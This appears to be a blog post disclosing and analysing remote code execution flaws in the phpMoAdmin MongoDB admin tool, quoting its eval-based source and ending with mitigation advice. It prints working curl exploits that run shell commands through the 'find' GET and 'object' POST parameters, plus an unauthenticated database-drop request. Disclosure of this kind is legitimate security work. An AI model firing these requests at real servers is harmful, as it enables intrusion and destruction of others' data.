Zero-Day-Exploit for phpMoAdmin

Cross post: Also on Github.

A week ago I read a security alert at 'heise Security' . It's a German IT news site. The article was about someone is selling a Zero-Day-Exploit for phpMoAdmin. Here is another source in English. Because nobody has written an issue or a fix a week later I decided to write all the stuff down I figured out last week.

At least for the second bug I already found Metasploit scripts. So I decide to publish the exploits as well. Its already all over the Internet.

Well, the fact that there is a security hole and not what the hole is I got interested. I'm not using MongoDB and I am not so much into PHP, but a close look at the source and I found two suspects that might be a problem.

556:  eval('$find = ' . $_GET['find'] . ';');
694:  eval('$obj=' . $obj . ';');

The first is obviously risky, an eval over a GET parameter. The second could be, depends on $obj.

The first

272:  class moadminModel {
000:    ...
546:    public function listRows($collection) {
547:        foreach ($this->sort as $key => $val) { //cast vals to int
548:            $sort[$key] = (int) $val;
549:        }
550:        $col = $this->mongo->selectCollection($collection);
551:
552:        $find = array();
553:        if (isset($_GET['find']) && $_GET['find']) {
554:            $_GET['find'] = trim($_GET['find']);
555:            if (strpos($_GET['find'], 'array') === 0) {
556:                eval('$find = ' . $_GET['find'] . ';');
000:            ...

For the first we need to call the listRows function and can than inject code in the $_GET['find'] key, but find must start with array.

There seems only one way to call listRows, and this is by setting the GET key action, supply a fake collection and our manipulated find key.

739:  class moadminComponent {
000:    ...
763:    public function __construct() {
000:      ...
837:      if (isset($_GET['collection']) && $action != 'listCollections' && method_exists(self::$model, $action)) {
838:        $this->mongo[$action] = self::$model->$action($_GET['collection']);
000:
1978:  $mo = new moadminComponent;

moadminComponent is created at the beginning without login or session check, so this makes it all too easy. We can run every shell command by providing the right GET keys.

Exploit:

curl "http://localhost/phpmoadmin/moadmin.php?action=listRows&collection=0&find=array();system(%27whoami%27);exit;"

And the second?

693:  public function saveObject($collection, $obj) {
691:    eval('$obj=' . $obj . ';'); //cast from string to array
692:    return $this->mongo->selectCollection($collection)->save($obj);
693:  }

To exploit the second suspect we need run saveObject. It seems to be called only once, again in the constructor of moadminComponent, and the function parameter $obj is a POST key, it could not be easier:

739:  class moadminComponent {
000:  ...
763:    public function __construct() {
000:    ...
788:      if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {

So with placing a code injection in POST key object you can run any shell command with PHP process rights. Again no login needed.

Exploit:

curl "http://localhost/phpmoadmin/moadmin.php" -d "object=0;system('whoami');exit"

Any other problems?

Many. Because the check for a valid session is too late you can play with many direct links. Like dropping databases you know or guess there name:

curl "http://localhost/phpmoadmin/moadmin.php?db=ANY_DB_NAME&action=dropDb"

Why bother writing a login system that only prevents you from looking at your page?!?

Solution

Too fix this issues you need more than a bug fix. First everyone should delete phpMoAdmin or add an extra layer of access control (i.e. .htaccess) and also only grant people access you would give a shell login.